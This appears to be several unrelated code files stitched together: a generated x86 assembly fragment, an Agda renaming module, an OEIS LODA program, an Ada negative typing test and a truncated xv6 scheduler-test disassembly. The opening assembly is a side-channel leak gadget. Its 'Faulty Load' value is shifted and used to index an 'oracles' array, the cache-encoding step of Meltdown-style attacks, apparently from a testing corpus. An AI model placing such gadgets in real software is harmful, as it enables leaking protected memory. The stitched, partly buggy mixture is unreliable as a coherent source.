push %r15
push %r8
push %rbp
push %rbx
push %rdx
// Store
mov $0x530, %r8
clflush (%r8)
dec %r15
movw $0x5152, (%r8)
sub $50351, %rbx
// Store
lea addresses_RW+0x76b0, %r8
nop
nop
nop
nop
sub %rbp, %rbp
movl $0x51525354, (%r8)
nop
nop
xor %rbp, %rbp
// Store
lea addresses_PSE+0x94b0, %rdx
cmp %rbp, %rbp
movb $0x51, (%rdx)
and %r15, %r15
// Store
lea addresses_US+0x6830, %rbp
xor %r8, %r8
movb $0x51, (%rbp)
nop
nop
nop
nop
inc %r14
// Store
lea addresses_UC+0x1c2b0, %rdx
nop
nop
nop
add $54795, %r8
movb $0x51, (%rdx)
nop
nop
nop
nop
sub %rdx, %rdx
// Load
lea addresses_WC+0x14ece, %rdx
clflush (%rdx)
nop
sub %rbx, %rbx
mov (%rdx), %r8w
sub %r10, %r10
// Store
lea addresses_A+0x164b0, %rbp
nop
nop
nop
nop
nop
xor %r15, %r15
mov $0x5152535455565758, %r14
movq %r14, %xmm4
movaps %xmm4, (%rbp)
nop
nop
nop
dec %r8
// Faulty Load
lea addresses_A+0x164b0, %r10
nop
nop
nop
and %r14, %r14
mov (%r10), %bx
lea oracles, %r10
and $0xff, %rbx
shlq $12, %rbx
mov (%r10,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'58': 3}
58 58 58
*/
|
src/Sigma/Renaming/Vec.agda | johnyob/agda-sigma | 0 | 10843 | module Sigma.Renaming.Vec where
open import Data.Nat using (ℕ; zero; suc; _+_)
open import Data.Fin as Fin using (Fin; zero; suc)
open import Data.Product using (_×_; proj₁; proj₂) renaming (_,_ to ⟨_,_⟩)
open import Data.Vec as V using (Vec; []; _∷_; map; _[_]≔_)
renaming (head to headᵥ; tail to tailᵥ; lookup to lookupᵥ; insert to insertᵥ; remove to removeᵥ; updateAt to updateAtᵥ)
open import Data.HVec as HV using (HVec; []; _∷_)
renaming (head to headₕ; tail to tailₕ; lookup to lookupₕ; insert to insertₕ; remove to removeₕ; updateAt to updateAtₕ)
open import Function as Fun using (_∘_)
open import Sigma.Renaming.Base as R using (Ren)
renaming (id to idᵣ; ↑ to ↑ᵣ; _⇑ to _⇑ᵣ)
open import Relation.Binary.PropositionalEquality as Eq
using (_≡_; refl; sym; trans; cong; cong₂; cong-app; subst)
open Eq.≡-Reasoning
-- ------------------------------------------------------------------------
-- Vectored Renaming Shape
-- A renaming ρ : 𝕀ᵐ → 𝕀ⁿ is defined by a *shape*, denoted m ↦ n.
--
-- Similarly, a vectored renaming ρs = [ρ₁ ; ...; ρₖ] : [𝕀ᵐ₁ → 𝕀ⁿ₁, ...; 𝕀ᵐₖ → 𝕀ⁿₖ]
-- is defined by a vector of renaming shapes, denoted [m₁ ↦ n₁; ...; mₖ ↦ nₖ]
module Shape where
open import Data.Vec using (lookup; replicate; _[_]%=_; _[_]≔_)
-- TODO: Implement shape for renaming?
Shape : ℕ → Set
Shape n = Vec (ℕ × ℕ) n
-- -------------------------------------------
pattern _↦_ m n = ⟨ m , n ⟩
shape : ∀ { n } → Shape n → Fin n → ℕ × ℕ
shape = lookup
dom : ∀ { n } → Shape n → Fin n → ℕ
dom s = proj₁ ∘ (shape s)
rng : ∀ { n } → Shape n → Fin n → ℕ
rng s = proj₂ ∘ (shape s)
-- -------------------------------------------
id : ∀ { m } → ℕ → Shape m
id n = replicate (n ↦ n)
↑ : ∀ { m } → ℕ → Fin m → Shape m
↑ n i = id n [ i ]≔ n ↦ (1 + n)
-- TODO: This may become a pain, used a hack to use := instead of
-- %=
infix 10 _⇑_
_⇑_ : ∀ { n } → Shape n → Fin n → Shape n
s ⇑ i = s [ i ]≔ ⇑ (lookup s i)
where
⇑ : ℕ × ℕ → ℕ × ℕ
⇑ (m ↦ n) = (1 + m) ↦ (1 + n)
open Shape using (Shape; _↦_) renaming (id to idₛ; ↑ to ↑ₛ; _⇑_ to _⇑ₛ_)
-- TODO: Move this when implementing shapes on renamings?
-- IDEA: Call it an interpretation of a shape
-- use the nice brackets ;)
⦅_⦆ : ℕ × ℕ → Set
⦅ m ↦ n ⦆ = Ren m n
-- ------------------------------------------------------------------------
-- Vectored Renaming
-- A vectored renaming ρs = [ρ₁ ; ...; ρₖ] : [𝕀ᵐ₁ → 𝕀ⁿ₁, ...; 𝕀ᵐₖ → 𝕀ⁿₖ]
-- defined by it's shape: [m₁ ↦ n₁; ...; mₖ ↦ nₖ]
-- It is implemented as a hetrogenous vector.
VRen : ∀ n → Shape n → Set
VRen n shape = HVec n (map ⦅_⦆ shape)
length : ∀ { n S } → VRen n S → ℕ
length { n = n } _ = n
shape : ∀ { n S } → VRen n S → Shape n
shape { S = shape } _ = shape
-- ------------------------------------------------------------------------
-- Basic operations (ported from HVec)
-- Anonymous module containing properties about
-- Data.Vec's map composed w/ other operations
module _ { ℓ₁ ℓ₂ } { A : Set ℓ₁ } { B : Set ℓ₂ } where
open import Data.Vec using (head; tail; insert; remove)
private
variable
m n k : ℕ
open import Data.Vec.Properties using (lookup-map; map-[]≔) public
unfold-map : (f : A → B) (x : A) (xs : Vec A n)
→ map f (x ∷ xs) ≡ f x ∷ map f xs
unfold-map f x [] = refl
unfold-map f x (_ ∷ xs) = refl
unfold-remove : (x : A) (xs : Vec A (1 + n)) (i : Fin (1 + n))
→ remove (x ∷ xs) (suc i) ≡ x ∷ remove xs i
unfold-remove x (_ ∷ xs) zero = refl
unfold-remove x (y ∷ xs) (suc i) = refl
head-map : (f : A → B) (xs : Vec A (1 + n))
→ head (map f xs) ≡ f (head xs)
head-map f (x ∷ xs) = refl
tail-map : (f : A → B) (xs : Vec A (1 + n))
→ tail (map f xs) ≡ map f (tail xs)
tail-map f (x ∷ xs) = refl
insert-map : (f : A → B) (x : A) (xs : Vec A n) (i : Fin (1 + n))
→ insert (map f xs) i (f x) ≡ map f (insert xs i x)
insert-map f x xs zero = refl
insert-map f x (_ ∷ xs) (suc i) rewrite insert-map f x xs i = refl
remove-map : (f : A → B) (xs : Vec A (1 + n)) (i : Fin (1 + n))
→ remove (map f xs) i ≡ map f (remove xs i)
remove-map f (_ ∷ xs) zero = refl
remove-map f (x ∷ y ∷ xs) (suc i) rewrite remove-map f (y ∷ xs) i = refl
module _ where
private
variable
m n k : ℕ
S : Shape m
head : VRen (1 + m) S → ⦅ headᵥ S ⦆
head ρs rewrite sym (head-map ⦅_⦆ (shape ρs)) = headₕ ρs
tail : VRen (1 + m) S → VRen m (tailᵥ S)
tail ρs rewrite sym (tail-map ⦅_⦆ (shape ρs)) = tailₕ ρs
lookup : VRen m S → (i : Fin m) → ⦅ lookupᵥ S i ⦆
lookup ρs i rewrite sym (lookup-map i ⦅_⦆ (shape ρs)) = lookupₕ ρs i
insert : VRen m S → (i : Fin (1 + m)) → Ren n k → VRen (1 + m) (insertᵥ S i (n ↦ k))
insert { n = n } { k = k } ρs i ρ rewrite sym (insert-map ⦅_⦆ (n ↦ k) (shape ρs) i) = insertₕ ρs i ρ
remove : VRen (1 + m) S → (i : Fin (1 + m)) → VRen m (removeᵥ S i)
remove ρs i rewrite sym (remove-map ⦅_⦆ (shape ρs) i) = removeₕ ρs i
updateAt : (i : Fin m) → (⦅ lookupᵥ S i ⦆ → Ren n k) → VRen m S → VRen m (S [ i ]≔ n ↦ k)
updateAt { n = n } { k = k } i f ρs rewrite map-[]≔ ⦅_⦆ (shape ρs) i { x = n ↦ k } = updateAtₕ i f' ρs
where
f' : lookupᵥ (map ⦅_⦆ (shape ρs)) i → Ren n k
f' rewrite lookup-map i ⦅_⦆ (shape ρs) = f
infixl 6 _[_]$=_
_[_]$=_ : VRen m S → (i : Fin m) → (⦅ lookupᵥ S i ⦆ → Ren n k) → VRen m (S [ i ]≔ n ↦ k)
ρs [ i ]$= f = updateAt i f ρs
infixl 6 _[_]&=_
_[_]&=_ : VRen m S → (i : Fin m) → Ren n k → VRen m (S [ i ]≔ n ↦ k)
ρs [ i ]&= ρ = ρs [ i ]$= Fun.const ρ
-- ------------------------------------------------------------------------
-- Primitives
id : ∀ m { n } → VRen m (idₛ n)
id zero = []
id (suc m) = idᵣ ∷ id m
↑ : ∀ m { n } → (i : Fin m) → VRen m (↑ₛ n i)
↑ m i = (id m) [ i ]&= ↑ᵣ
_⇑_ : ∀ { n S } → VRen n S → (i : Fin n) → VRen n (S ⇑ₛ i)
ρs ⇑ i = ρs [ i ]$= (_⇑ᵣ)
-- ------------------------------------------------------------------------
|
oeis/017/A017229.asm | neoneye/loda-programs | 11 | 88082 | ; A017229: a(n) = (9*n + 5)^9.
; 1953125,20661046784,1801152661463,35184372088832,327381934393961,1953125000000000,8662995818654939,31087100296429568,95151694449171437,257327417311663616,630249409724609375,1423311812421484544,3004041937984268273,5987402799531080192,11361656654439817571,20661046784000000000,36197319879620191349,61364017143100579328,101029508532509551847,162036931496379416576,253831523037259765625,389238302031137391104,585415667401849109483,865013227009378353152,1257565061957837936381,1801152661463000000000
mul $0,9
add $0,5
pow $0,9
|
tests/typing/bad/testfile-arith-2.adb | xuedong/mini-ada | 0 | 17619 | <reponame>xuedong/mini-ada<filename>tests/typing/bad/testfile-arith-2.adb<gh_stars>0
with Ada.Text_IO; use Ada.Text_IO;
procedure Test is X : Integer; begin X := 1 * 'a'; end;
|
sanity4.asm | MahtabEK/OS---XV6 | 0 | 20825 |
_sanity4: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "user.h"
int
main()
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: 81 ec a8 02 00 00 sub $0x2a8,%esp
int i;
int j= 0;
17: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
int k;
int retime[30];
int rutime[30];
int rtime[30];
int stime[30];
int average_wtime = 0;
1e: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
int average_ttime = 0;
25: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
int average_rutime = 0;
2c: c7 45 d0 00 00 00 00 movl $0x0,-0x30(%ebp)
//int rutime;
//int stime;
int sums[3][3];
for (i = 0; i < 3; i++)
33: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
3a: eb 30 jmp 6c <main+0x6c>
for (j = 0; j < 3; j++)
3c: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
43: eb 1d jmp 62 <main+0x62>
sums[i][j] = 0;
45: 8b 55 e4 mov -0x1c(%ebp),%edx
48: 89 d0 mov %edx,%eax
4a: 01 c0 add %eax,%eax
4c: 01 d0 add %edx,%eax
4e: 8b 55 e0 mov -0x20(%ebp),%edx
51: 01 d0 add %edx,%eax
53: c7 84 85 c4 fd ff ff movl $0x0,-0x23c(%ebp,%eax,4)
5a: 00 00 00 00
int average_rutime = 0;
//int rutime;
//int stime;
int sums[3][3];
for (i = 0; i < 3; i++)
for (j = 0; j < 3; j++)
5e: 83 45 e0 01 addl $0x1,-0x20(%ebp)
62: 83 7d e0 02 cmpl $0x2,-0x20(%ebp)
66: 7e dd jle 45 <main+0x45>
int average_ttime = 0;
int average_rutime = 0;
//int rutime;
//int stime;
int sums[3][3];
for (i = 0; i < 3; i++)
68: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
6c: 83 7d e4 02 cmpl $0x2,-0x1c(%ebp)
70: 7e ca jle 3c <main+0x3c>
for (j = 0; j < 3; j++)
sums[i][j] = 0;
int pid[30];
for (i = 0; i < 30; i++) {
72: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
79: e9 9a 00 00 00 jmp 118 <main+0x118>
j = i % 3;
7e: 8b 4d e4 mov -0x1c(%ebp),%ecx
81: ba 56 55 55 55 mov $0x55555556,%edx
86: 89 c8 mov %ecx,%eax
88: f7 ea imul %edx
8a: 89 c8 mov %ecx,%eax
8c: c1 f8 1f sar $0x1f,%eax
8f: 29 c2 sub %eax,%edx
91: 89 d0 mov %edx,%eax
93: 01 c0 add %eax,%eax
95: 01 d0 add %edx,%eax
97: 29 c1 sub %eax,%ecx
99: 89 c8 mov %ecx,%eax
9b: 89 45 e0 mov %eax,-0x20(%ebp)
pid[i] = fork();
9e: e8 b9 06 00 00 call 75c <fork>
a3: 89 c2 mov %eax,%edx
a5: 8b 45 e4 mov -0x1c(%ebp),%eax
a8: 89 94 85 4c fd ff ff mov %edx,-0x2b4(%ebp,%eax,4)
if( pid[i] < 0 ){
af: 8b 45 e4 mov -0x1c(%ebp),%eax
b2: 8b 84 85 4c fd ff ff mov -0x2b4(%ebp,%eax,4),%eax
b9: 85 c0 test %eax,%eax
bb: 79 1c jns d9 <main+0xd9>
printf(1,"error\n");
bd: 83 ec 08 sub $0x8,%esp
c0: 68 ac 0c 00 00 push $0xcac
c5: 6a 01 push $0x1
c7: e8 27 08 00 00 call 8f3 <printf>
cc: 83 c4 10 add $0x10,%esp
return -1;
cf: b8 ff ff ff ff mov $0xffffffff,%eax
d4: e9 28 04 00 00 jmp 501 <main+0x501>
}
else if (pid[i] == 0) {//child
d9: 8b 45 e4 mov -0x1c(%ebp),%eax
dc: 8b 84 85 4c fd ff ff mov -0x2b4(%ebp,%eax,4),%eax
e3: 85 c0 test %eax,%eax
e5: 75 2d jne 114 <main+0x114>
case 2:
break;
}
#endif
for (k = 0; k < 5; k++){
e7: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
ee: eb 19 jmp 109 <main+0x109>
printf(1 , "my cid is: %d" , i);
f0: 83 ec 04 sub $0x4,%esp
f3: ff 75 e4 pushl -0x1c(%ebp)
f6: 68 b3 0c 00 00 push $0xcb3
fb: 6a 01 push $0x1
fd: e8 f1 07 00 00 call 8f3 <printf>
102: 83 c4 10 add $0x10,%esp
case 2:
break;
}
#endif
for (k = 0; k < 5; k++){
105: 83 45 dc 01 addl $0x1,-0x24(%ebp)
109: 83 7d dc 04 cmpl $0x4,-0x24(%ebp)
10d: 7e e1 jle f0 <main+0xf0>
printf(1 , "my cid is: %d" , i);
}
exit(); // children exit here
10f: e8 50 06 00 00 call 764 <exit>
for (i = 0; i < 3; i++)
for (j = 0; j < 3; j++)
sums[i][j] = 0;
int pid[30];
for (i = 0; i < 30; i++) {
114: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
118: 83 7d e4 1d cmpl $0x1d,-0x1c(%ebp)
11c: 0f 8e 5c ff ff ff jle 7e <main+0x7e>
}
exit(); // children exit here
}
continue; // father continues to spawn the next child
}
for (i = 0; i < 30; i++) {
122: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
129: e9 9d 02 00 00 jmp 3cb <main+0x3cb>
wait2(&rtime[i], &rutime[i], &stime[i]);
12e: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
134: 8b 55 e4 mov -0x1c(%ebp),%edx
137: c1 e2 02 shl $0x2,%edx
13a: 8d 0c 10 lea (%eax,%edx,1),%ecx
13d: 8d 85 d8 fe ff ff lea -0x128(%ebp),%eax
143: 8b 55 e4 mov -0x1c(%ebp),%edx
146: c1 e2 02 shl $0x2,%edx
149: 01 c2 add %eax,%edx
14b: 8d 85 60 fe ff ff lea -0x1a0(%ebp),%eax
151: 8b 5d e4 mov -0x1c(%ebp),%ebx
154: c1 e3 02 shl $0x2,%ebx
157: 01 d8 add %ebx,%eax
159: 83 ec 04 sub $0x4,%esp
15c: 51 push %ecx
15d: 52 push %edx
15e: 50 push %eax
15f: e8 a8 06 00 00 call 80c <wait2>
164: 83 c4 10 add $0x10,%esp
printf(1 , "mp pid is : %d , my running time is: %d , my waiting time is: %d , my turnaround time is: %d\n" , getpid(), rutime[i] , (rtime[i]+stime[i]) , (rtime[i]+stime[i] + rutime[i]));
167: 8b 45 e4 mov -0x1c(%ebp),%eax
16a: 8b 94 85 60 fe ff ff mov -0x1a0(%ebp,%eax,4),%edx
171: 8b 45 e4 mov -0x1c(%ebp),%eax
174: 8b 84 85 e8 fd ff ff mov -0x218(%ebp,%eax,4),%eax
17b: 01 c2 add %eax,%edx
17d: 8b 45 e4 mov -0x1c(%ebp),%eax
180: 8b 84 85 d8 fe ff ff mov -0x128(%ebp,%eax,4),%eax
187: 8d 3c 02 lea (%edx,%eax,1),%edi
18a: 8b 45 e4 mov -0x1c(%ebp),%eax
18d: 8b 94 85 60 fe ff ff mov -0x1a0(%ebp,%eax,4),%edx
194: 8b 45 e4 mov -0x1c(%ebp),%eax
197: 8b 84 85 e8 fd ff ff mov -0x218(%ebp,%eax,4),%eax
19e: 8d 34 02 lea (%edx,%eax,1),%esi
1a1: 8b 45 e4 mov -0x1c(%ebp),%eax
1a4: 8b 9c 85 d8 fe ff ff mov -0x128(%ebp,%eax,4),%ebx
1ab: e8 34 06 00 00 call 7e4 <getpid>
1b0: 83 ec 08 sub $0x8,%esp
1b3: 57 push %edi
1b4: 56 push %esi
1b5: 53 push %ebx
1b6: 50 push %eax
1b7: 68 c4 0c 00 00 push $0xcc4
1bc: 6a 01 push $0x1
1be: e8 30 07 00 00 call 8f3 <printf>
1c3: 83 c4 20 add $0x20,%esp
for(int gf = 0; gf<30; gf++){
1c6: c7 45 cc 00 00 00 00 movl $0x0,-0x34(%ebp)
1cd: eb 5e jmp 22d <main+0x22d>
average_wtime = average_wtime + rtime[gf] + stime[gf];
1cf: 8b 45 cc mov -0x34(%ebp),%eax
1d2: 8b 94 85 60 fe ff ff mov -0x1a0(%ebp,%eax,4),%edx
1d9: 8b 45 d8 mov -0x28(%ebp),%eax
1dc: 01 c2 add %eax,%edx
1de: 8b 45 cc mov -0x34(%ebp),%eax
1e1: 8b 84 85 e8 fd ff ff mov -0x218(%ebp,%eax,4),%eax
1e8: 01 d0 add %edx,%eax
1ea: 89 45 d8 mov %eax,-0x28(%ebp)
average_rutime =average_wtime + rutime[gf];
1ed: 8b 45 cc mov -0x34(%ebp),%eax
1f0: 8b 94 85 d8 fe ff ff mov -0x128(%ebp,%eax,4),%edx
1f7: 8b 45 d8 mov -0x28(%ebp),%eax
1fa: 01 d0 add %edx,%eax
1fc: 89 45 d0 mov %eax,-0x30(%ebp)
average_ttime = average_wtime + rtime[gf] + stime[gf] + rutime[gf];
1ff: 8b 45 cc mov -0x34(%ebp),%eax
202: 8b 94 85 60 fe ff ff mov -0x1a0(%ebp,%eax,4),%edx
209: 8b 45 d8 mov -0x28(%ebp),%eax
20c: 01 c2 add %eax,%edx
20e: 8b 45 cc mov -0x34(%ebp),%eax
211: 8b 84 85 e8 fd ff ff mov -0x218(%ebp,%eax,4),%eax
218: 01 c2 add %eax,%edx
21a: 8b 45 cc mov -0x34(%ebp),%eax
21d: 8b 84 85 d8 fe ff ff mov -0x128(%ebp,%eax,4),%eax
224: 01 d0 add %edx,%eax
226: 89 45 d4 mov %eax,-0x2c(%ebp)
}
for (i = 0; i < 30; i++) {
wait2(&rtime[i], &rutime[i], &stime[i]);
printf(1 , "mp pid is : %d , my running time is: %d , my waiting time is: %d , my turnaround time is: %d\n" , getpid(), rutime[i] , (rtime[i]+stime[i]) , (rtime[i]+stime[i] + rutime[i]));
for(int gf = 0; gf<30; gf++){
229: 83 45 cc 01 addl $0x1,-0x34(%ebp)
22d: 83 7d cc 1d cmpl $0x1d,-0x34(%ebp)
231: 7e 9c jle 1cf <main+0x1cf>
average_wtime = average_wtime + rtime[gf] + stime[gf];
average_rutime =average_wtime + rutime[gf];
average_ttime = average_wtime + rtime[gf] + stime[gf] + rutime[gf];
}
average_wtime = average_wtime/30;
233: 8b 4d d8 mov -0x28(%ebp),%ecx
236: ba 89 88 88 88 mov $0x88888889,%edx
23b: 89 c8 mov %ecx,%eax
23d: f7 ea imul %edx
23f: 8d 04 0a lea (%edx,%ecx,1),%eax
242: c1 f8 04 sar $0x4,%eax
245: 89 c2 mov %eax,%edx
247: 89 c8 mov %ecx,%eax
249: c1 f8 1f sar $0x1f,%eax
24c: 29 c2 sub %eax,%edx
24e: 89 d0 mov %edx,%eax
250: 89 45 d8 mov %eax,-0x28(%ebp)
average_rutime = average_rutime/30;
253: 8b 4d d0 mov -0x30(%ebp),%ecx
256: ba 89 88 88 88 mov $0x88888889,%edx
25b: 89 c8 mov %ecx,%eax
25d: f7 ea imul %edx
25f: 8d 04 0a lea (%edx,%ecx,1),%eax
262: c1 f8 04 sar $0x4,%eax
265: 89 c2 mov %eax,%edx
267: 89 c8 mov %ecx,%eax
269: c1 f8 1f sar $0x1f,%eax
26c: 29 c2 sub %eax,%edx
26e: 89 d0 mov %edx,%eax
270: 89 45 d0 mov %eax,-0x30(%ebp)
average_ttime = average_ttime/30;
273: 8b 4d d4 mov -0x2c(%ebp),%ecx
276: ba 89 88 88 88 mov $0x88888889,%edx
27b: 89 c8 mov %ecx,%eax
27d: f7 ea imul %edx
27f: 8d 04 0a lea (%edx,%ecx,1),%eax
282: c1 f8 04 sar $0x4,%eax
285: 89 c2 mov %eax,%edx
287: 89 c8 mov %ecx,%eax
289: c1 f8 1f sar $0x1f,%eax
28c: 29 c2 sub %eax,%edx
28e: 89 d0 mov %edx,%eax
290: 89 45 d4 mov %eax,-0x2c(%ebp)
printf(1 , "average waiting time is : %d , average running time is: %d , average turn around time is: %d\n" ,average_wtime,average_rutime,average_ttime );
293: 83 ec 0c sub $0xc,%esp
296: ff 75 d4 pushl -0x2c(%ebp)
299: ff 75 d0 pushl -0x30(%ebp)
29c: ff 75 d8 pushl -0x28(%ebp)
29f: 68 28 0d 00 00 push $0xd28
2a4: 6a 01 push $0x1
2a6: e8 48 06 00 00 call 8f3 <printf>
2ab: 83 c4 20 add $0x20,%esp
int res = i %3; // correlates to j in the dispatching loop
2ae: 8b 4d e4 mov -0x1c(%ebp),%ecx
2b1: ba 56 55 55 55 mov $0x55555556,%edx
2b6: 89 c8 mov %ecx,%eax
2b8: f7 ea imul %edx
2ba: 89 c8 mov %ecx,%eax
2bc: c1 f8 1f sar $0x1f,%eax
2bf: 29 c2 sub %eax,%edx
2c1: 89 d0 mov %edx,%eax
2c3: 01 c0 add %eax,%eax
2c5: 01 d0 add %edx,%eax
2c7: 29 c1 sub %eax,%ecx
2c9: 89 c8 mov %ecx,%eax
2cb: 89 45 c8 mov %eax,-0x38(%ebp)
switch(res) {
2ce: 8b 45 c8 mov -0x38(%ebp),%eax
2d1: 83 f8 01 cmp $0x1,%eax
2d4: 74 5e je 334 <main+0x334>
2d6: 83 f8 02 cmp $0x2,%eax
2d9: 0f 84 9f 00 00 00 je 37e <main+0x37e>
2df: 85 c0 test %eax,%eax
2e1: 0f 85 e0 00 00 00 jne 3c7 <main+0x3c7>
case 0: // CPU bound processes
//printf(1, "Priority 1, pid: %d, ready: %d, running: %d, sleeping: %d, turnaround: %d\n", pid, retime, rutime, stime, retime + rutime + stime);
sums[0][0] += retime[i];
2e7: 8b 95 c4 fd ff ff mov -0x23c(%ebp),%edx
2ed: 8b 45 e4 mov -0x1c(%ebp),%eax
2f0: 8b 84 85 50 ff ff ff mov -0xb0(%ebp,%eax,4),%eax
2f7: 01 d0 add %edx,%eax
2f9: 89 85 c4 fd ff ff mov %eax,-0x23c(%ebp)
sums[0][1] += rutime[i];
2ff: 8b 95 c8 fd ff ff mov -0x238(%ebp),%edx
305: 8b 45 e4 mov -0x1c(%ebp),%eax
308: 8b 84 85 d8 fe ff ff mov -0x128(%ebp,%eax,4),%eax
30f: 01 d0 add %edx,%eax
311: 89 85 c8 fd ff ff mov %eax,-0x238(%ebp)
sums[0][2] += stime[i];
317: 8b 95 cc fd ff ff mov -0x234(%ebp),%edx
31d: 8b 45 e4 mov -0x1c(%ebp),%eax
320: 8b 84 85 e8 fd ff ff mov -0x218(%ebp,%eax,4),%eax
327: 01 d0 add %edx,%eax
329: 89 85 cc fd ff ff mov %eax,-0x234(%ebp)
break;
32f: e9 93 00 00 00 jmp 3c7 <main+0x3c7>
case 1: // CPU bound processes, short tasks
//printf(1, "Priority 2, pid: %d, ready: %d, running: %d, sleeping: %d, turnaround: %d\n", pid, retime, rutime, stime, retime + rutime + stime);
sums[1][0] += retime[i];
334: 8b 95 d0 fd ff ff mov -0x230(%ebp),%edx
33a: 8b 45 e4 mov -0x1c(%ebp),%eax
33d: 8b 84 85 50 ff ff ff mov -0xb0(%ebp,%eax,4),%eax
344: 01 d0 add %edx,%eax
346: 89 85 d0 fd ff ff mov %eax,-0x230(%ebp)
sums[1][1] += rutime[i];
34c: 8b 95 d4 fd ff ff mov -0x22c(%ebp),%edx
352: 8b 45 e4 mov -0x1c(%ebp),%eax
355: 8b 84 85 d8 fe ff ff mov -0x128(%ebp,%eax,4),%eax
35c: 01 d0 add %edx,%eax
35e: 89 85 d4 fd ff ff mov %eax,-0x22c(%ebp)
sums[1][2] += stime[i];
364: 8b 95 d8 fd ff ff mov -0x228(%ebp),%edx
36a: 8b 45 e4 mov -0x1c(%ebp),%eax
36d: 8b 84 85 e8 fd ff ff mov -0x218(%ebp,%eax,4),%eax
374: 01 d0 add %edx,%eax
376: 89 85 d8 fd ff ff mov %eax,-0x228(%ebp)
break;
37c: eb 49 jmp 3c7 <main+0x3c7>
case 2: // simulating I/O bound processes
//printf(1, "Priority 3, pid: %d, ready: %d, running: %d, sleeping: %d, turnaround: %d\n", pid, retime, rutime, stime, retime + rutime + stime);
sums[2][0] += retime[i];
37e: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx
384: 8b 45 e4 mov -0x1c(%ebp),%eax
387: 8b 84 85 50 ff ff ff mov -0xb0(%ebp,%eax,4),%eax
38e: 01 d0 add %edx,%eax
390: 89 85 dc fd ff ff mov %eax,-0x224(%ebp)
sums[2][1] += rutime[i];
396: 8b 95 e0 fd ff ff mov -0x220(%ebp),%edx
39c: 8b 45 e4 mov -0x1c(%ebp),%eax
39f: 8b 84 85 d8 fe ff ff mov -0x128(%ebp,%eax,4),%eax
3a6: 01 d0 add %edx,%eax
3a8: 89 85 e0 fd ff ff mov %eax,-0x220(%ebp)
sums[2][2] += stime[i];
3ae: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx
3b4: 8b 45 e4 mov -0x1c(%ebp),%eax
3b7: 8b 84 85 e8 fd ff ff mov -0x218(%ebp,%eax,4),%eax
3be: 01 d0 add %edx,%eax
3c0: 89 85 e4 fd ff ff mov %eax,-0x21c(%ebp)
break;
3c6: 90 nop
}
exit(); // children exit here
}
continue; // father continues to spawn the next child
}
for (i = 0; i < 30; i++) {
3c7: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
3cb: 83 7d e4 1d cmpl $0x1d,-0x1c(%ebp)
3cf: 0f 8e 59 fd ff ff jle 12e <main+0x12e>
sums[2][1] += rutime[i];
sums[2][2] += stime[i];
break;
}
}
for (i = 0; i < 3; i++)
3d5: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
3dc: eb 5b jmp 439 <main+0x439>
for (j = 0; j < 3; j++)
3de: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
3e5: eb 48 jmp 42f <main+0x42f>
sums[i][j] /= 30;
3e7: 8b 55 e4 mov -0x1c(%ebp),%edx
3ea: 89 d0 mov %edx,%eax
3ec: 01 c0 add %eax,%eax
3ee: 01 d0 add %edx,%eax
3f0: 8b 55 e0 mov -0x20(%ebp),%edx
3f3: 01 d0 add %edx,%eax
3f5: 8b 8c 85 c4 fd ff ff mov -0x23c(%ebp,%eax,4),%ecx
3fc: ba 89 88 88 88 mov $0x88888889,%edx
401: 89 c8 mov %ecx,%eax
403: f7 ea imul %edx
405: 8d 04 0a lea (%edx,%ecx,1),%eax
408: c1 f8 04 sar $0x4,%eax
40b: 89 c2 mov %eax,%edx
40d: 89 c8 mov %ecx,%eax
40f: c1 f8 1f sar $0x1f,%eax
412: 89 d1 mov %edx,%ecx
414: 29 c1 sub %eax,%ecx
416: 8b 55 e4 mov -0x1c(%ebp),%edx
419: 89 d0 mov %edx,%eax
41b: 01 c0 add %eax,%eax
41d: 01 d0 add %edx,%eax
41f: 8b 55 e0 mov -0x20(%ebp),%edx
422: 01 d0 add %edx,%eax
